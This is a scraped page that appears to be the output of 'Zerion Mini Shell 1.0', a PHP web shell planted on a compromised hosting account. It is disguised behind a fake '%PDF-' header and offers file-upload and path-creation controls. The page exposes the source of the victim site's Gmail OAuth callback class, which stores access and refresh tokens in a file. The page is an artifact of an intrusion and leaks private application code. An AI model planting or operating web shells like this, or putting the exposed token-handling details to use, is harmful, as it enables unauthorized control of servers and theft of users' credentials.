%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/vebto/common/Settings/Mail/
Upload File :
Create Path :
Current File : /home/graphicd/www/vebto/common/Settings/Mail/HandleConnectGmailOauthCallback.php

<?php

namespace Common\Settings\Mail;

use Common\Auth\Oauth;
use Common\Settings\Settings;
use File;
use Socialite;
use Illuminate\Contracts\View\View as ViewContract;

class HandleConnectGmailOauthCallback
{
    public function execute(string $provider): ViewContract
    {
        $profile = Socialite::with('google')->user();

        File::ensureDirectoryExists(basename(GmailClient::tokenPath()));
        File::put(
            GmailClient::tokenPath(),
            json_encode([
                'access_token' => $profile->token,
                'refresh_token' => $profile->refreshToken,
                'created' => now()->timestamp,
                'expires_in' => $profile->expiresIn,
                'email' => $profile->email,
            ]),
        );

        if (app(Settings::class)->get('mail.handler') === 'gmailApi') {
            app(GmailClient::class)->watch();
        }

        return app(Oauth::class)->getPopupResponse(self::class, [
            'profile' => $profile,
        ]);
    }
}

Zerion Mini Shell 1.0